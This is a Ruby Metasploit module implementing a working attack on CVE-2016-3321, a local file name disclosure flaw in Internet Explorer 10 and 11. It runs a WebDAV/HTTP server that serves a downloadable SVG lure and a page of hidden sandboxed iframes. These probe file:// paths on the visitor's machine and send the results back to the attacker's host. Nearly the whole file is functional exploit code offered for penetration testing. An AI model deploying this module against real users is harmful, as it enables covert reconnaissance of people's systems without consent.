393 lines
12 KiB
Ruby
393 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: http://www.metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',
|
|
'Description' => %q{
|
|
It was found that Internet Explorer allows the disclosure of local file names.
|
|
This issue exists due to the fact that Internet Explorer behaves different for
|
|
file:// URLs pointing to existing and non-existent files. When used in
|
|
combination with HTML5 sandbox iframes it is possible to use this behavior to
|
|
find out if a local file exists. This technique only works on Internet Explorer
|
|
10 & 11 since these support the HTML5 sandbox. Also it is not possible to do
|
|
this from a regular website as file:// URLs are blocked all together. The attack
|
|
must be performed locally (works with Internet zone Mark of the Web) or from a
|
|
share.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => 'Yorick Koster',
|
|
'References' =>
|
|
[
|
|
['CVE', '2016-3321'],
|
|
['MSB', 'MS16-095'],
|
|
['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Internet Explorer', {} ],
|
|
],
|
|
'DisclosureDate' => "Aug 9 2016",
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),
|
|
OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),
|
|
], self.class)
|
|
|
|
# no SSL
|
|
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH')
|
|
end
|
|
|
|
def js
|
|
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
|
|
|
%Q|function report() {
|
|
if(window.location.protocol != 'file:') {
|
|
try {
|
|
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
|
|
} catch (e) { }
|
|
return;
|
|
}
|
|
|
|
var frames = document.getElementsByTagName('iframe');
|
|
for(var i = 0; i < frames.length; i++) {
|
|
try {
|
|
if(frames[i].name == 'notfound') {
|
|
frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;
|
|
}
|
|
else {
|
|
frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;
|
|
}
|
|
} catch(e) { }
|
|
}
|
|
}|
|
|
end
|
|
|
|
def html
|
|
frames = ""
|
|
datastore['PATHS'].split(',').each do |path|
|
|
frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"
|
|
end
|
|
|
|
%Q|<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<script type="text/javascript">
|
|
#{js}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
#{frames}
|
|
<script type="text/javascript">
|
|
setTimeout('report();', 2000);
|
|
</script>
|
|
</body>
|
|
</html>|
|
|
end
|
|
|
|
def svg
|
|
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
|
|
|
%Q|<!-- saved from url=(0014)about:internet -->
|
|
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
|
|
end
|
|
|
|
def is_target_suitable?(user_agent)
|
|
if user_agent =~ /^Microsoft-WebDAV-MiniRedir/
|
|
return true
|
|
end
|
|
|
|
info = fingerprint_user_agent(user_agent)
|
|
if info[:ua_name] == HttpClients::IE
|
|
return true
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
|
|
|
case request.method
|
|
when 'OPTIONS'
|
|
process_options(cli, request)
|
|
when 'PROPFIND'
|
|
process_propfind(cli, request)
|
|
when 'GET'
|
|
unless is_target_suitable?(request.headers['User-Agent'])
|
|
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")
|
|
resp = create_response(200, "OK")
|
|
resp.body = svg
|
|
resp['Content-Type'] = 'image/svg+xml'
|
|
resp['Content-Disposition'] = 'attachment;filename=image.svg'
|
|
cli.send_response(resp)
|
|
end
|
|
|
|
case request.uri
|
|
when /^\/found\/\?f=/
|
|
f = URI.unescape(request.uri.gsub('/found/?f=', ''))
|
|
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
|
|
print_good("Found file " + f)
|
|
send_response(cli, '')
|
|
when /^\/notfound\/\?f=/
|
|
f = URI.unescape(request.uri.gsub('/notfound/?f=', ''))
|
|
print_error("The file " + f + " does not exist")
|
|
send_response(cli, '')
|
|
when "/"
|
|
resp = create_response(200, "OK")
|
|
resp.body = %Q|<html>
|
|
<head>
|
|
<script type="text/javascript">
|
|
try {
|
|
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
|
|
} catch (e) {
|
|
blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);
|
|
window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
|
|
}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
</body>
|
|
</html>|
|
|
|
|
resp['Content-Type'] = 'text/html'
|
|
cli.send_response(resp)
|
|
else
|
|
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")
|
|
send_response(cli, html)
|
|
end
|
|
else
|
|
print_status("#{request.method} #{request.uri} => 404")
|
|
resp = create_response(404, "Not Found")
|
|
resp.body = ""
|
|
resp['Content-Type'] = 'text/html'
|
|
cli.send_response(resp)
|
|
end
|
|
end
|
|
|
|
#
|
|
# OPTIONS requests sent by the WebDav Mini-Redirector
|
|
#
|
|
def process_options(cli, request)
|
|
print_status("OPTIONS #{request.uri}")
|
|
headers = {
|
|
'MS-Author-Via' => 'DAV',
|
|
'DASL' => '<DAV:sql>',
|
|
'DAV' => '1, 2',
|
|
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
|
|
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
|
|
'Cache-Control' => 'private'
|
|
}
|
|
|
|
resp = create_response(207, "Multi-Status")
|
|
headers.each_pair {|k,v| resp[k] = v }
|
|
resp.body = ""
|
|
resp['Content-Type'] = 'text/xml'
|
|
cli.send_response(resp)
|
|
end
|
|
|
|
#
|
|
# PROPFIND requests sent by the WebDav Mini-Redirector
|
|
#
|
|
def process_propfind(cli, request)
|
|
path = request.uri
|
|
print_status("PROPFIND #{path}")
|
|
body = ''
|
|
|
|
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
|
my_uri = "http://#{my_host}/"
|
|
|
|
if path !~ /\/$/
|
|
|
|
if path.index(".")
|
|
print_status "PROPFIND => 207 File (#{path})"
|
|
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
|
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
|
<D:href>#{path}</D:href>
|
|
<D:propstat>
|
|
<D:prop>
|
|
<lp1:resourcetype/>
|
|
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
|
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
|
|
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
|
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
|
<lp2:executable>T</lp2:executable>
|
|
<D:supportedlock>
|
|
<D:lockentry>
|
|
<D:lockscope><D:exclusive/></D:lockscope>
|
|
<D:locktype><D:write/></D:locktype>
|
|
</D:lockentry>
|
|
<D:lockentry>
|
|
<D:lockscope><D:shared/></D:lockscope>
|
|
<D:locktype><D:write/></D:locktype>
|
|
</D:lockentry>
|
|
</D:supportedlock>
|
|
<D:lockdiscovery/>
|
|
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
|
</D:prop>
|
|
<D:status>HTTP/1.1 200 OK</D:status>
|
|
</D:propstat>
|
|
</D:response>
|
|
</D:multistatus>
|
|
|
|
|
# send the response
|
|
resp = create_response(207, "Multi-Status")
|
|
resp.body = body
|
|
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
|
cli.send_response(resp)
|
|
return
|
|
else
|
|
print_status "PROPFIND => 301 (#{path})"
|
|
resp = create_response(301, "Moved")
|
|
resp["Location"] = path + "/"
|
|
resp['Content-Type'] = 'text/html'
|
|
cli.send_response(resp)
|
|
return
|
|
end
|
|
end
|
|
|
|
print_status "PROPFIND => 207 Directory (#{path})"
|
|
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
|
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
|
<D:href>#{path}</D:href>
|
|
<D:propstat>
|
|
<D:prop>
|
|
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
|
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
|
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
|
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
|
<D:supportedlock>
|
|
<D:lockentry>
|
|
<D:lockscope><D:exclusive/></D:lockscope>
|
|
<D:locktype><D:write/></D:locktype>
|
|
</D:lockentry>
|
|
<D:lockentry>
|
|
<D:lockscope><D:shared/></D:lockscope>
|
|
<D:locktype><D:write/></D:locktype>
|
|
</D:lockentry>
|
|
</D:supportedlock>
|
|
<D:lockdiscovery/>
|
|
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
|
</D:prop>
|
|
<D:status>HTTP/1.1 200 OK</D:status>
|
|
</D:propstat>
|
|
</D:response>
|
|
|
|
|
|
|
if request["Depth"].to_i > 0
|
|
trail = path.split("/")
|
|
trail.shift
|
|
case trail.length
|
|
when 0
|
|
body << generate_shares(path)
|
|
when 1
|
|
body << generate_files(path)
|
|
end
|
|
else
|
|
print_status "PROPFIND => 207 Top-Level Directory"
|
|
end
|
|
|
|
body << "</D:multistatus>"
|
|
|
|
body.gsub!(/\t/, '')
|
|
|
|
# send the response
|
|
resp = create_response(207, "Multi-Status")
|
|
resp.body = body
|
|
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
|
cli.send_response(resp)
|
|
end
|
|
|
|
def generate_shares(path)
|
|
share_name = datastore['SHARENAME']
|
|
%Q|
|
|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
|
<D:href>#{path}#{share_name}/</D:href>
|
|
<D:propstat>
|
|
<D:prop>
|
|
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
|
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
|
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
|
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
|
<D:supportedlock>
|
|
<D:lockentry>
|
|
<D:lockscope><D:exclusive/></D:lockscope>
|
|
<D:locktype><D:write/></D:locktype>
|
|
</D:lockentry>
|
|
<D:lockentry>
|
|
<D:lockscope><D:shared/></D:lockscope>
|
|
<D:locktype><D:write/></D:locktype>
|
|
</D:lockentry>
|
|
</D:supportedlock>
|
|
<D:lockdiscovery/>
|
|
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
|
</D:prop>
|
|
<D:status>HTTP/1.1 200 OK</D:status>
|
|
</D:propstat>
|
|
</D:response>
|
|
|
|
|
end
|
|
|
|
def generate_files(path)
|
|
trail = path.split("/")
|
|
return "" if trail.length < 2
|
|
|
|
%Q|
|
|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
|
<D:href>#{path}index.html</D:href>
|
|
<D:propstat>
|
|
<D:prop>
|
|
<lp1:resourcetype/>
|
|
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
|
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
|
|
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
|
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
|
<lp2:executable>T</lp2:executable>
|
|
<D:supportedlock>
|
|
<D:lockentry>
|
|
<D:lockscope><D:exclusive/></D:lockscope>
|
|
<D:locktype><D:write/></D:locktype>
|
|
</D:lockentry>
|
|
<D:lockentry>
|
|
<D:lockscope><D:shared/></D:lockscope>
|
|
<D:locktype><D:write/></D:locktype>
|
|
</D:lockentry>
|
|
</D:supportedlock>
|
|
<D:lockdiscovery/>
|
|
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
|
</D:prop>
|
|
<D:status>HTTP/1.1 200 OK</D:status>
|
|
</D:propstat>
|
|
</D:response>
|
|
|
|
|
end
|
|
|
|
def gen_timestamp(ttype=nil)
|
|
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
|
|
end
|
|
|
|
def gen_datestamp(ttype=nil)
|
|
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
|
|
end
|
|
|
|
def run
|
|
datastore['URIPATH'] = '/'
|
|
datastore['SRVPORT'] = 80
|
|
exploit
|
|
end
|
|
end
|